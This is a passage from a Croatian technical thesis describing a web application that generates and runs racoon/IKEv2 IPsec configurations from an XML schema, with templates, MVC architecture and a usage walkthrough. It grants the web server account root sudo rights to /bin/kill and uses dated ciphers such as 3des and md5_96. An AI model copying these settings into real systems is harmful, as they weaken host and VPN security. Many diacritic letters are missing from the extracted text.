Opcionalni identifikator oznaava identifikator vora za koji ove specifikacije vrijede.
sainfo anonymous from fqdn zemris.fer.hr from rfc822_addr
sgros@zemris.fer.hr{
Opcije sainfo sekcije su:

pfs opcija;
Specificira da li je zahtijevana PFS mogunost. Mogue opcije su:
on ukljuena
off iskljuena
passive pasivno
pfs on;
dh_group opcija;
Specificira grupu Diffie-Hellmann eksponencija. Specifikacija je identina istoimenoj u
proposal sekciji.
dh_group modp1024;
hardlimit time|octets|allocs vrijeme|veliina|broj;

Specificira tvrde granice pri drugoj fazi IKE protokola. Specifikacija je identina limit
specifikaciji remote sekcije.
65
hardlimit time 2000 s;

hardlimit allocs 12000;
hardlimit octets 1 MB;
softlimit time|octets|allocs vrijeme|veliina|broj;

Specificira meke granice pri drugoj fazi IKE protokola. Specifikacija je identina hardlimit
specifikaciji.
softlimit time 2000 s;
softlimit allocs 12000;
softlimit octets 1 MB;
auth_algorithm algoritam;
Specificira algoritam autentifikacije pri drugoj fazi IKE protokola. Mogua vrijednost je
primjerice sha1_96.
auth_algorithm sha1_96;
encryption_algorithm algoritam;
Specificira algoritam enkripcije pri drugoj fazi IKE protokola. Mogua vrijednost je
primjerice 3des.
encryption_algorithm 3des;
4.1.3. Generika konfiguracija

Konfiguracija koja e se koristiti za pokretanje IKE alata ovisi o koritenom alatu i o funkcijama
koje alat prua, ali i o nainu zapisa konfiguracijskih opcija u konfiguracijsku datoteku. Obzirom na
to, ali i injenicu da svaki alat mora potovati odreena zajednika pravila, za definiranje generike
konfiguracije su izdvojene neke zajednike opcije te su definirane u XML shemi. Shema definira
opcije, meutim, obzirom na razliitosti koje postoje u alatima, nisu postavljana ogranienja na
vrijednosti opcija koja u primjenjiva na sve alate, ve primarno na racoon alat. Obzirom na reeno i
oekivanje da e korisnici ove aplikacije biti upoznati s pojedinim nainima konfiguriranja IKE
alata, u procesu konverzije nije vrena provjera moguih ispravnosti unosa za vrijednosti opcija.
Provjera nije vrena, obzirom da je krajnji cilj ove aplikacije rad s IKEv2 alatom, koji je trenutno u
razvoju te nisu potpuno dostupne niti pojedine opcije koje e konfiguracijska datoteka sadravati,
kao ni valjane vrijednosti tih opcija, stoga bi shemu nakon zavretka razvoja trebalo prilagoditi
stvarnom stanju. XML shema generike konfiguracije navedena je u dodatku A.
XML stablo zapoinje od korijena IKE koji sadri IPSecEntry unose. Razvoj stabla iz IKE korijena
izgleda kao na slici 4.2. Svaki pojedini IPSecEntry unos sadri sekcije:
Local sekcija - sadri opcije vezane uz raunalo na kojem se IKE aplikacija pokree.
Slika 4.2. Razvoj stabla iz IKE korijena
Razvoj stabla iz Local sekcije izgleda kao na slici 4.3.

Local sekcija ima elemente:
LocalAddress vrijednost je IP adresa lokalnog raunala;
LocalInterface vrijednost je mreno suelje na kojem se titi promet;

66
LocalPort raspon pristupa na kojima se titi promet;
LocalID identifikator lokalnog raunala (korisnika).
Slika 4.3. Razvoj stabla iz Local sekcije
Remote sekcija - sadri opcije vezane uz specifikacije koje se nalaze u istoimenoj sekciji
konfiguracijske datoteke. Razvoj stabla iz Remote sekcije izgleda kao na slici 4.4.
Slika 4.4. Razvoj stabla iz Remote sekcije
Remote sekcija ima elemente:
IPAddress i Port ije vrijednosti su IP adresa udaljenog raunala i raspon pristupa na

kojima se titi promet
ili
Anonymous koji definira nepoznatu adresu i pristup
te
67
Identifier identifikator udaljenog raunala (korisnika);
NATT - sadri opcije vezane uz NAT postavke na putu izmeu dva vora. NATT
sekcija sadri elemente:
OnOff koji nosi vrijednost ukljuenja koritenja NAT translacije,
Port koji nosi vrijednost pristupa koji se koristi pri NAT translaciji,
KeepAliveInterval koji nosi vrijednost intervala osvjeavanja NAT translacije;
Policy - sadri opcije vezane uz pravila iniciranja povezivanja. Policy sekcija ima
element GeneratePolicy koji nosi vrijednost ukljuenja automatskog generiranja politike;
Authentication - sadri opcije vezane uz autentifikaciju udaljenog korisnika ili raunala.

Razvoj stabla iz Authentication sekcije izgleda kao na slici 4.5.
Slika 4.5. Razvoj stabla iz Authentication sekcije
Authentication sekcija ima elemente:
AuthMethod opcije vezane uz metodu autentifikacije:
Certificates sekcija autentifikacija certifikatima:
CAtype vrsta certifikata CA
CApath put do datoteke certifikata CA
CERTtype vrsta certifikata
CERTpath put do datoteke certifikata
KEYpath put do datoteke privatnog kljua,
EAP autentifikacija EAP-om:
PSK - autentifikacija PSK kljuem:
RadiusServer adresa Radius posluitelja,

PSKpath put do datoteke PSK kljua,
Lifetime - sadri opcije vezane uz vrijeme valjanosti zatiene veze;
68
Proposal - sadri opcije koje specificiraju istoimenu sekciju pojedine Remote

sekcije. Proposal sekcija ima elemente:
Encryption - sadri opcije vezane uz algoritam enkripcije. Encryption sekcija

ima element Algorithm koji nosi vrijednost algoritma enkripcije;
Hash - sadri opcije vezane uz algoritam saetka. Hash sekcija ima element
Algorithm koji nosi vrijednost algoritma saetka;
Lifetime - sadri opcije vezane uz vrijeme valjanosti zatiene veze;
DH - koji ima vrijednost Diffie-Hellmann-ovih eksponenata.
SA sekcija - sadri podatke o sigurnosnoj asocijaciji. Razvoj stabla iz SA sekcije izgleda

kao na slici 4.6.
Slika 4.6. Razvoj stabla iz SA sekcije
SA sekcija ima sljedee elemente:
Tunnel - sadri opcije vezane uz postavljanje tunela pri povezivanju. Tunnel sekcija
sadri elemente:
LocalTunnelEndpoint sekcija u kojoj se definira lokalni kraj tunela:
IPAddress IP adresa vora koji je kraj tunela,
Port pristup koji se koristi za tuneliranje;
RemoteTunnelEndpoint sekcija u kojoj se definira udaljeni kraj tunela:
IPAddress IP adresa vora koji je kraj tunela,
Port pristup koji se koristi za tuneliranje;
ili
Anonymous koji definira nepoznatu adresu i pristup
Encryption - koji definira algoritam enkripcije u drugoj fazi IKE protokola;
te
69
Authentication - koji definira algoritam autentifikacije u drugoj fazi IKE protokola;
PFS - koji definira vrijednost Diffie-Hellmann-ovih eksponenata za PFS.
Stvaranjem XML generike konfiguracijske datoteke prema predloenoj shemi, dobivamo, na

primjer, ispis kao u dodatku B.
XML datoteka u dodatku B je valjana obzirom na shemu i sve njene opcije su valjane za izravan
unos u datoteku predloka da bi se stvorila ispravna konfiguracijska datoteka za racoon alat.
Proces konverzije se odvija u modelu Racoon.php, funkcijom create, na sljedei nain. Nakon to
korisnik definira XML generiku konfiguraciju, prije konverzije, datoteka se provjerava kroz XML
shemu. XML shema definira mogue algoritme u postavkama, valjanost unosa IP adresa i pristupa,
te sline provjere. Nakon to se XML konfiguracija provjeri, izvrava se proces konverzije. U
prvom koraku se, ovisno o broju remote i sainfo sekcija u generikoj konfiguraciji, koritenjem
datoteke predloka stvara novi predloak koji sadri zahtijevani broj sekcija. Sljedei korak je
prolazak kroz sve parametre definirane u datoteci predloka, oznaene znakovima << i >>, a
koji se postavljaju na vrijednosti definirane u podacima generike konfiguracije. U procesu
konverzije, razlikuje se nekoliko parametara. Ukoliko je rije o metodi autentifikacije
(<<AUTHMETHOD>>), provjerava se definirana metoda te se ovisno o njoj postavljaju dodatne
opcije konfiguracije i postavlja vrijednost parametra koji definira metodu. Na primjer, ukoliko se
radi o PSK autentifikaciji, postavlja se put do datoteke s PSK kljuem i za metodu autentifikacije
postavlja vrijednost pre_shared_key. Ukoliko se radi o autentifikaciji certifikatima, postavljaju se
vrste i putovi do datoteka s certifikatima i privatnim kljuem te se kao metoda autentifikacije
postavlja vrijednost rsasig. Ukoliko se radi o zaglavljima remote i sainfo sekcije, ona se formiraju
ovisno o strukturi zaglavlja sekcija u konfiguracijskoj datoteci, ali i ovisno da li je definiran element
Anonymous ili su definirane potrebne IP adrese i pristupi, a ukoliko se radi o nekim drugim
opcijama konfiguracije, vri se izravno ljepljenje vrijednosti iz generike konfiguracije u datoteku
predloka, tako da se Xpath upitom iz generike konfiguracije dohvati vrijednost parametra i
umetne u predvieno mjesto u datoteci predloka.
Primjer predloka specifine konfiguracije racoon alata izgleda kao u ispisu 4.1.
70
Ispis 4.1. Predloak specifine konfiguracije racoon alata

remote <<IPSec/Remote/Anonymous>> {
exchange_mode main;
my_identifier user_fqdn "<<IPSec/Local/LocalID>>";
peers_identifier user_fqdn "<<IPSec/Remote/Identifier>>";
lifetime time <<IPSec/Remote/Lifetime>>;
generate_policy <<IPSec/Remote/Policy/GeneratePolicy>>;
nat_traversal <<IPSec/Remote/NATT/OnOff>>;
proposal {
encryption_algorithm
<<IPSec/Remote/Proposal/Encryption/Algorithm>>;
hash_algorithm <<IPSec/Remote/Proposal/Hash/Algorithm>>;
authentication_method <<AUTHMETHOD>>;
dh_group <<IPSec/Remote/Proposal/DH>>;
lifetime time <<IPSec/Remote/Proposal/Lifetime>>;
}
}
sainfo <<IPSec/SA/Anonymous>> {
pfs_group <<IPSec/SA/PFS>>;
encryption_algorithm <<IPSec/SA/Encryption/Algorithm>>;
authentication_algorithm <<IPSec/SA/Authentication/Algorithm>>;
compression_algorithm deflate;
}
Oznakama za poetak << i kraj >> su obuhvaeni putovi u XML generikoj konfiguraciji koji
vode do vrijednosti postavke koju treba umetnuti na trenutno mjesto u specifinoj konfiguracijskoj
datoteci da bi se ona ispravno popunila. Iz primjera je vidljivo da prolaskom kroz XML stablo
generike konfiguracije putem IPSec->Remote->NATT->OnOff dolazimo do vrijednosti koja se u
predloku mora nalaziti u liniji koja zapoinje s nat_traversal. Na jednak nain su definirane i druge
opcije koje se umeu u predloak konfiguracijske datoteke.
Primjer predloka specifine konfiguracije IKE alata izgledao bi kao u ispisu 4.2.
71
Ispis 4.2. Predloak specifine konfiguracije IKE alata

dos_treshold 50;
sm_threads 5;
kernel_spd flush;
ikesa_max 50;
ikesa_max_halfopened 50;
listen address <<IPSec/Local/LocalAddress>>:<<IPSec/Local/Port>>;
remote <<IPSec/Remote/Anonymous>> {
nonce_size 32;
authlimit time 1 week;
ike_max_idle 1000 s;
limit time <<IPSec/Remote/Lifetime>>;
limit allocs 12000;
limit octets 1 MB ;
response_timeout 3 s;
response_retries 3;
generate policy <<IPSec/Remote/Policy/GeneratePolicy>>;
natt <<IPSec/Remote/NATT/OnOff>>;
my_identifier rfc822_addr "<<IPSec/Local/LocalID>>";
accept_peer_identifier rfc822_addr "<<IPSec/Remote/Identifier>>";
proposal {
limit time <<IPSec/Remote/Proposal/Lifetime>>;;
limit allocs 1000;
limit octets 1MB;
encryption_algorithm
<<IPSec/Remote/Proposal/Encryption/Algorithm>>;
auth_algorithm md5_96;
pseudo_random_function <<IPSec/Remote/Proposal/Hash/Algorithm>>;
dh_group <<IPSec/Remote/Proposal/DH>>;
authentication_method <<AUTHMETHOD>>;
}
}
sainfo
<<IPSec/SA/Anonymous>>{
pfs on;
dh_group <<IPSec/SA/PFS>>;
hardlimit time 1000 s;
softlimit time 6 s;
hardlimit octets 1000 MB;
softlimit octets 1024 kB;
auth_algorithm <<IPSec/SA/Authentication/Algorithm>>;
encryption_algorithm <<IPSec/SA/Encryption/Algorithm>>;
}
4.2. Arhitektura i izvedba aplikacije

Arhitektura aplikacije se zasniva na MVC (engl. Model-View-Controller) modelu. U kompleksnim
aplikacijama, potrebno je izvriti razdvajanje pristupa podacima, logike i prezentacije, da bi se
olakala proirivost i odravanje aplikacije. MVC se sastoji od tri dijela, kao to prikazuje slika 4.7 :
Model slui specifinoj prezentaciji podataka. Najee se koristi za pristup bazama

podataka ili za druge operacije koje vre pristup podacima;
Pogled (engl. View) slui primarno stvaranju korisnikog suelja;
Kontrola (engl. Controller) obrauje i odgovara na dogaaje, tipino korisnike akcije.
72
Slika 4.7. Arhitektura MVC modela
Punilac je glavna kontrola koja ovisno o ulaznom dogaaju, prosljeuje obradu na odgovarajuu
kontrolu [22].
Struktura aplikacije na disku izgleda kao na slici 4.8. Bitni segmenti su:
application direktorij sadri datoteke vezane uz MVC arhitekturu:
models direktorij datoteke modela,
views direktorij datoteke pogleda,
controllers direktorij datoteke kontrola,
config.ini datoteka datoteka s osnovnim postavkama aplikacije;
build direktorij Yahoo! User Interface datoteke;
confs direktorij konfiguracijske datoteke:
templates direktorij datoteke predloaka za konfiguraciju;
images direktorij direktorij s dodatnim slikama i CSS datotekama;
js direktorij dodatne JavaScript klase;
library direktorij Zend Framework datoteke;
index.php punilac.
73
Slika 4.8. Struktura aplikacije na disku
4.2.1. Kd aplikacije na posluitelju

Dio aplikacije koji se izvrava na posluitelju je izveden u PHP-u. Za razvoj je koriten Zend
Framework. Zend Framework je inicijativa otvorenog kda koja cilja na razvoj okoline za stvaranje
kvalitetnih i sigurnih PHP 5 Web aplikacija [8,21]. Zend Framework projekt ima pet definiranih
ciljeva:
ustupiti repozitorij komponenti koje se aktivno podravaju;
ustupiti cjelokupni sustav za razvoj Web aplikacija koritenjem PHP-a;
ne vriti izmjene u jezgri PHP jezika;
unaprijediti PHP 5 programiranje;
doprinijeti razvoju PHP jezgre.
Detaljan prikaz arhitekture aplikacije na posluitelju, dan je na slici 4.9.
74
Slika 4.9. Detaljan prikaz arhitekture kda na posluitelju
4.2.2. Kd aplikacije na klijentu

Yahoo! User Interface biblioteka (YUI) je skup alata i kontrola pisanih u JavaScript-u, koji slue za
izgradnju bogato interaktivnih Web aplikacija koritenjem DOM-a, DHTML-a i AJAX-a, te
ukljuuje i nekoliko osnovnih CSS resursa. Dijelovi YUI-a koji su definirani kao alati slue za
olakavanje programiranja unutar preglednika i nisu vidljivi korisniku, dok dijelovi koji su
definirani kao kontrole vidljivi korisniku u obliku grafikih interaktivnih elemenata stranice. YUI
biblioteka je licencirana pod slobodnom BSD licencom te je dozvoljeno njeno koritenje u
komercijalne i privatne svrhe. YUI je razvijen u Yahoo!-u gdje se isti kd koristi za stvaranje Web
aplikacija Yahoo! mree. Obzirom na izraenu nekompatibilnost u podrci JavaScript-u i CSS-u
meu preglednicima, YUI ne podrava sve preglednike, meutim, podrana je veina Web
preglednika koji su u opoj upotrebi. Ti preglednici se nalaze u slubenom YUI popisu preglednika
75
najee uporabe (YUI "A" klasa preglednika), a meu njima su IE6, IE7, Firefox, Opera i Safari
preglednici.
Ono to je znaajno za YUI biblioteku i to ju istie meu brojnim slinim JavaScript radnim
okruenjima jest iznimno dobro odravana i kvalitetna dokumentacija. Upravo zato je YUI trenutno
najpopularnije JavaScript razvojno okruenje [9].
4.2.3. Opis naina rada aplikacije

Nain rada je najjednostavnije objasniti na primjeru. Kao jedan od tokova podataka autentificiranog
korisnika, u nastavku je objanjen princip uitavanja specifine konfiguracijske datoteke, njene
izmjene i pohrane, to je prikazano na slici 4.10, te zatim pokretanja racoon alata koritenjem te
datoteke to prikazuje slika 4.11.
Slika 4.10. Proces uitavanje konfiguracijske datoteke, njene izmjene i pohrane
Nakon to korisnik u popisu datoteka na tvrdom disku odabere neku specifinu konfiguracijsku
datoteku za uitavanje, u metodu act JavaScript klase Acter se prenosi veza s parametrima koji
jednoznano odreuju odabranu datoteku, npr. /disc/load?filename=prva.conf. Metoda act
koritenjem AJAX-a vri slanje zahtjeva na danu vezu, tj. alje zahtjev akciji load kontrole disc te
prenosi parametar filename s vrijednou prva.xml, nakon to prethodno prikae dijalog ekanja.
Rad aplikacije se prenosi s korisnikog preglednika na aplikaciju na posluitelju.
Akcija load u disc kontroli vri provjeru da li je zadan potrebni parametar te ukoliko nije vri
preusmjeravanje na error404 akciju, dok ukoliko je parametar zadan, u podatke sjednice zapisuje
naziv zahtjevane datoteke te koritenjem Disc modela dohvaa njen sadraj. Ukoliko je sadraj
uspjeno dohvaen, on se zapisuje u podatke sjednice i izvoenje se preusmjerava na edit akciju
76
kontrole. Edit akcija dohvaa naziv i sadraj datoteke te ovisno o tome da li se radi o
generikoj XML ili specifinoj konfiguracijskoj datoteci, poziva stvaranje odgovarajueg pogleda.
Obzirom da se u primjeru radi o specifinoj konfiguracijskoj datoteci, poziva se stvaranje pogleda
editUtil.tpl. U datoteku pogleda se prema predloku definiranom u njoj umeu vrijednosti imena
datoteke i njenog sadraja te se on zajedno s u datoteci pogleda definiranim JavaScript kdom alje
kao odgovor na zahtjev klijenta.
util
Rad aplikacije se ponovno vraa na klijentski preglednik, gdje se primitkom odgovora poziva
funkcija handleSuccess u klasi Acter koja je povratna funkcija AJAX poziva. Funkcija
handleSuccess odgovor posluitelja umee u DOM stablo i nakon toga skriva dijalog ekanja.
Obzirom da sadraj odgovora posluitelja referencira nepostojeu sliku 404.gif, kako je vidljivo u
datoteci pogleda, preglednik zapoinje izvoenje funkcije onerror vezane uz nepostojanje slike.
Ovaj nain izvoenja kda na zahtjev (engl. on-demand-javascript) je koriten da bi se zaobili
tipini problemi izvoenja kda na zahtjev u globalnom okviru preglednika, a vezani uz razliite
implementacije na razliitim preglednicima [19,25]. Izvoenje onerror funkcije koja je prenesena
u odgovoru posluitelja se izvodi u pregledniku, a postavlja izgled dohvaenog sadraja koritenjem
YUI klasa. Tonije, stvara se novi dijalog koji sadri naziv datoteke i njen sadraj, te opcije i gumbe
koji odreuju mogue akcije nad datotekom. Kd takoer definira i funkciju handleUtilSubmit
koja e vriti zahtjev sljedee akcije. U tom trenutku, u prozoru preglednika, korisnik vidi stanje
aplikacije kao na slici 4.18.
Nakon to korisnik izvri izmjene na prikazanom sadraju konfiguracijske datoteke u dijalogu,
uzmimo za primjer, odabire pohranu izmijenjene datoteke na tvrdi disk s novim imenom koje je
takoer zadao u prikazanom dijalogu, pritiskom na gumb Do it. U tom trenutku se poziva funkcija
handleUtilSubmit. Funkcija vri slanje POST zahtjeva AJAX-om prema posluitelju, tonije
prema akciji update kontrole edit te kao POST parametre alje zadano ime datoteke, njen
izmijenjeni sadraj i akciju koja se zahtijeva, nakon to prethodno ponovno prikae dijalog ekanja.
Izvoenje se ponovno prebacuje na posluitelj, gdje akcija update prihvaa POST parametre te
ovisno o tipu sadraja ispravno pohranjuje sadraj u podatke sjednice. Ovisno o akciji koja je
zatraena, zatim se izvri preusmjeravanje. U prikazanom primjeru, akcija update e shvatiti da se
ne radi o XML datoteci, pa e izvorno dohvaeni sadraj pohraniti u podatke sjednice i obzirom da
je zahtijevana akcija spremanje na tvrdi disk, izvoenje preusmjeriti na akciju save kontrole disc.
Akcija save e iz podataka sjednice dohvatiti podatke trenutne datoteke te e sadraj pohraniti u
datoteku danog naziva. Ovisno o uspjehu pohrane, ova akcija alje odgovarajui odgovor klijentu te
brie podatke sjednice koji definiraju do sada koritenu datoteku.
Izvoenje se ponovno vraa na preglednik klijenta, koji prihvaa odgovor posluitelja o uspjenoj
pohrani datoteke te kako je definirano pri ovom AJAX pozivu, poziva funkciju
handleUtilSuccess. U tom trenutku, u prozoru preglednika, korisnik vidi stanje aplikacije kao na
slici 4.16. Pozvana funkcija prikazuje korisniku odgovor o uspjenoj pohrani te nakon potvrde
korisnika, vri novi AJAX poziv akciji list kontrole disc, da bi se dohvatio novi popis datoteka.
Nakon to akcija list koritenjem modela Disc dohvati popis postojeih datoteka, prosljeuje ga
pogledu listDisc.tpl koji se popunjava podacima o datotekama te se zajedno s dodanim
JavaScript kdom alje klijentu. Nakon primitka odgovora, preglednik odgovor umee u DOM
stablo i izvrava pripadni JavaScript kd da bi definirao izgled i mogunosti koje prua popis
datoteka na disku te ga prikazuje korisniku. U tom trenutku, u prozoru preglednika, korisnik vidi
stanje aplikacije kao na slici 4.14.
Korisnik ponovnim uitavanjem spremljene datoteke ponavlja proces te ovoga puta umjesto
izmjene i pohrane, odabire pokretanje racoon alata pomou uitane konfiguracije. Nakon klika na
gumb Do it, update akcija util kontrole ovoga puta vri preusmjeravanje izvoenja na akciju run
kontrole racoon, koja naziv konfiguracijske datoteke prosljeuje svom pogledu runRacoon.tpl. U
77
Slika 4.11. Proces pokretanja racoon alata uitanom konfiguracijskom datotekom
pogledu se vri priprema HTML kda za prikaz umetanjem naziva konfiguracijske datoteke i
datoteke zapisa te se zajedno s pridruenim JavaScript kdom vraa klijentu.
Izvoenje je ponovno na klijentu, gdje se sadraj odgovora umee u DOM stablo i zatim izvrava
JavaScript kd. Kd formira izgled dijaloga s opcijama za pokretanje racoon alata te zapone
AJAX pozivima prema akciji ajaxcall kontrole racoon uz parametar what vrijednosti update
vriti osvjeavanje zapisa iz definirane datoteke zapisa. Nakon to korisnik eventualno izmjeni put
do konfiguracijske datoteke i datoteke zapisa ili dodatne opcije pokretanja te klikne na gumb RUN
RACOON, preglednik alje AJAX poziv akciji ajaxcall kontrole racoon uz parametar what
vrijednosti run, uz dodatne parametre imena konfiguracijske datoteke, datoteke zapisa i dodatnih
opcija pokretanja racoon alata. U tom trenutku, u prozoru preglednika, korisnik vidi stanje
aplikacije kao na slici 4.22.
Nakon to akcija ajaxcall primi ovaj zahtjev, koritenjem modela Racoon i posredstvom modela
Shellexec pokree racoon alat na posluitelju i zapisuje njegov identifikator procesa u podatke o
sjednici.
Obzirom da klijent u sljedeem pozivu osvjeavanja dobiva informaciju da je racoon alat pokrenut,
kd klijenta mijenja sliku koja predstavlja stanje racoon alata. U istom odgovoru klijent dobiva
nove linije iz datoteke zapisa te ih prikazuje korisniku.
U tom trenutku, u prozoru preglednika, korisnik vidi stanje aplikacije kao na slici 4.21.
78
4.2.4. Mogunosti proirenja aplikacije

Proirenje aplikacije moemo promatrati kroz dva pogleda, a to su proirenje mogunosti aplikacije
i proirenje generike konfiguracije.
Takoer, postavljanje novih verzija Zend Framework-a i YUI-a, mogue je izvriti izmjenom
postojeih verzija, tj. postavljanjem novih verzija kda u direktorij /library za Zend Framework,
ili /build za YUI.
Da bi se izvrilo proirenje generike konfiguracije, potrebne su izmjene u XML shemi, stvaranje
XML datoteke koja sadri nove opcije generike konfiguracije, te stvaranje novog predloka koji e
se koristiti za konverziju generike u specifinu konfiguraciju.
Jednostavnim izmjenama na izvornoj XML shemi, mogue je dodati nove opcije, kao i ogranienja
opcija IKE konfiguracije. Na primjer, u kompleksnom tipu PSKAuth, mogue je umjesto puta do
PSK datoteke, zadati i mogunost izravnog unosa PSK kljua, to bi umjesto ispisa 4.3 znailo ispis
4.4.
Ispis 4.3. Opcija puta do PSK datoteke u XML shemi generike konfiguracije
<complexType name="PSKAuth">
<sequence>
<element name="PSKpath" type="string"/>
</sequence>
</complexType>
Ispis 4.4. Modifikacija opcije PSK autentifikacije u XML shemi generike konfiguracije
<choice>
<element name="PSKpath" type="string"/>
<element name="PSKkey" type="string"/>
</choice>
</complexType>
Da bi XML generika konfiguracija bila valjana, potrebno je potivajui pravila definirana u shemi,
stvoriti novu datoteku generike konfiguracije. Nova generika konfiguracija bi prema novoj shemi
mogla sadravati vrijednost PSK kljua umjesto puta do datoteke koja ju sadrava, meutim, u
procesu konverzije, a ovisno o izgledu predloka, ovaj izmjena bi dovela do potrebe za stvaranjem
datoteke u koju bi se zapisao klju, ali i identifikator korisnika definiran u istoj Remote sekciji, dok
bi se put do datoteke pohranio u popunjeni predloak. Na kraju, potrebno je i predloak koji se eli
koristiti prilagoditi novim opcijama, ukoliko se one koriste u predloku.
Da bi se izvrilo proirenje mogunosti aplikacije, potrebno je, jasno, izvriti stvaranje novih klasa i
akcija kontrole, te pogleda i potrebnih modela prema pravilima MVC arhitekture. Za ozbiljnija
proirenja, potrebno je detaljnije prouiti kd aplikacije i nain obrade, no osnovne smjernice se
svode na slijedee.
Za izmjene i operacije koje se vre nad konfiguracijskim datotekama, moe se i preporua koristiti
kontrolu util, posebice njenu akciju edit, te priloene datoteke pogleda. U ovoj kontroli se moe
izvriti dodavanje mogunosti koje se mogu koristiti s datotekom koja je trenutno uitana, dok se u
njenom pogledu moe izvriti izmjena suelja i usmjeravanja toka ovisno o odabranoj naredbi
aplikacije. Sve izmjene koje se tiu prezentacijskog dijela aplikacije, tonije pogleda, veinom
ukljuuju i izmjene JavaScript kda koji se nalazi u datotekama pogleda i eventualno u specifinim
ukljuenim datotekama u direktoriju /js.
Za dodavanje novog IKE alata, mogue je takoer koristiti ve postojei model za zadavanje
naredbi operacijskom sustavu, kao i pratiti nain rada aplikacije kod racoon alata te prema tom
predloku i eljenim opcijama vriti proirenje aplikacije za rad s novim alatom. Takoer, stvaranje
79
novih pogleda ukljuuje prilagodbu JavaScript kda i praenje toka aplikacije na prezentacijskom
sloju, kako praenjem principa rada kod racoon alata, tako i obzirom na glavnu datoteku pogleda
/application/views/site-ajax.tpl.php. Za detalje je potrebno prouiti dokumentaciju
aplikacije.
Da bi se omoguilo pokretanje novog alata, osim proirenja aplikacije, potrebno je izmijeniti i
sudoers (/etc/sudoers) datoteku operacijskog sustava, da bi se korisnikom raunu koji koristi
Apache posluitelj (www-data) omoguilo pokretanje alata s administratorskim pravima. Trenutno
dana prava korisnikom raunu Apache posluitelja su administratorsko izvoenje izvoenje
naredbi
/usr/sbin/racoon
/bin/kill
- za pokretanje racoon alata i
- za gaenje procesa.
Izmjene na glavnom izborniku je mogue izvriti u JavaScript kdu koji se takoer nalazi u glavnoj
datoteci pogleda. U istoj datoteci definirane su i CSS pravila prema kojima se formatira izgled.
Takoer, ukoliko proirenja prelaze trenutne mogunosti i zahtijevaju dublje izmjene osim
modifikacija postojeeg toka i naina rada, nuno je koristiti dokumentaciju Zend Framework-a za
izmjene na logici aplikacije, kao i dokumentaciju YUI-a, za izmjene na prezentacijskom sloju i
prezentacijskoj logici.
4.3. Opis koritenja aplikacije

Koritenje aplikacije zapoinje prijavom, kao na slici 4.12.
Slika 4.12. Prijava na aplikaciju
Ukoliko se korisnik uspjeno autentificira, aplikacija otvara poetnu stranicu s izbornikom, kao na
slici 4.13.
Slika 4.13. Poetna stranica aplikacije s izbornikom
U izborniku je vidljivo nekoliko mogunosti. Ukoliko korisnik odabere Disc->List, izvriti e se

ispis datoteka na disku, kao na slici 4.14.
80
Slika 4.14. Ispis datoteka na disku
Datoteke su ispisane u dvije skupine. Prva skupina predstavlja XML datoteke s generikom
konfiguracijom, dok druga predstavlja specifine konfiguracijske datoteke. Popis je mogue sortirati
ili listati po stranicama putem kontrola uz popis. Ukoliko se odabirom Db->List opcije izbornika
zatrai ispis datoteka u bazi podataka, dobiva se jedan popis datoteka koje imaju dodatne osobine,
kao na slici 4.15.
Slika 4.15. Ispis datoteka u bazi podataka
Datoteke se u ovom popisu, osim po imenu, mogu sortirati i prema datumu stvaranja, tipu
konfiguracije ili po autoru datoteke.
Klikom na Delete file opciju u popisu, datoteka e biti izbrisana, kao na slici 4.16.
Slika 4.16. Proces brisanja datoteke na disku
81
Klikom na Load file opciju u popisu, aplikacija e uitati datoteku. Ukoliko se radi o XML
generikoj konfiguraciji, aplikacija e ju prikazati u obliku stabla iji se zapisi u listovima mogu
mijenjati. Izmjena se vri klikom na zapis i unosom nove vrijednosti, kako prikazuje slika 4.17.
Slika 4.17. Prikaz XML generike konfiguracije u obliku stabla
Ukoliko se radi o specifinoj konfiguraciji, ona e se prikazati u izvornom obliku, kao na slici 4.18.
Slika 4.18. Prikaz specifine konfiguracije u dijalogu za izmjenu
82
Vidljivo je da pri prikazu konfiguracijske datoteke aplikacija daje nekoliko mogunosti. Ukoliko
datoteku izmijenimo, mogue ju je pohraniti u bazu podataka ili na tvrdi disk postavljanjem
odgovarajueg imena datoteke i odabirom eljene opcije, te pritiskom na gumb Do it. Takoer,
datoteku je mogue vidjeti u HTML obliku, radi lakeg pregleda ili prijenosa, kako je vidljivo na
slici 4.19.
Slika 4.19. HTML prikaz datoteke
Osim toga, mogue je stvoriti specifinu konfiguracijsku datoteku iz XML generike konfiguracije,
odabirom opcije Create racoon, ili pokrenuti racoon alat koritenjem specifine konfiguracijske
datoteke, odabirom opcije Run racoon i pritiskom na gumb za izvoenje akcije. Ukoliko se odabere
stvaranje specifine konfiguracijske datoteke, otvoriti e se novi okvir kao na slici 4.20.
Slika 4.20. Stvaranje racoon konfiguracijske datoteke
U ovom okviru, potrebno je unesti put do konfiguracijske datoteke, XML sheme i predloka
konfiguracijske datoteke, te pritiskom na gumb Convert izvriti konverziju. Novostvorena
specifina konfiguracijska datoteka se nakon toga prikazuje u dijalogu ve prikazanom na slici 4.18
da bi se omoguilo druge izmjene na datoteci ili njena pohrana. Novostvorenu datoteku nakon
pohrane moemo iskoristiti za pokretanje racoon alata, odabirom opcije Racoon run. Aplikacija
otvara dijalog kao na slici 4.21.
83
Slika 4.21. Pokretanje racoon alata
Izmjenom vrijednosti za konfiguracijsku datoteku i unosom dodatnih opcija, mogue je postaviti

opcije pokretanja aplikacije. Izmjenom vrijednosti datoteke zapisa, mogue ju je pri pokretanju
koristiti kao datoteku zapisa te ju i pregledavati u pozadini okvira. Pritiskom na gumb RUN
RACOON, aplikacija pokree racoon alat sa zadanim opcijama. Nakon to je pokretanje izvreno, u
pozadini su vidljivi novi ispisi koje racoon alat daje na standardni izlaz, tj. u datoteku zapisa, kao
na slici 4.22.
Slika 4.22. Dijalog za pokretanje racoon alata
Pritiskom na gumb STOP RACOON, na isti nain je mogue ugasiti racoon alat. Nakon gaenja, ili
prije odlaska sa stranice, potrebno je zatvoriti kontrolni prozor, da bi se zaustavilo automatsko
osvjeavanje zapisa, kao na slici 4.23.
84
Slika 4.23. Zaustavljanje rada racoon alata
Na kraju rada, radi sigurnosti aplikacije, potrebno je da se korisnik odjavi s aplikacije odabirom
opcije User->Logout u glavnom izborniku, kako prikazuje slika 4.24.
Slika 4.24. Odjava korisnika s rada na aplikaciji
4.4. Model prijetnji i zatita aplikacije

4.4.1. Kljuni scenariji aplikacije
Kljuni scenariji u radu ove aplikacije su:
anonimni korisnik vri prijavu korisnikim imenom i zaporkom da bi se autentificirao;
autentificirani korisnik pregledava postojee konfiguracije u bazi podataka i na tvrdom

disku;
autentificirani korisnik vri izmjene postojeih ili stvara nove konfiguracije, ili vri
pretvorbu generike konfiguracije u konfiguraciju specifinu za IKE aplikaciju;
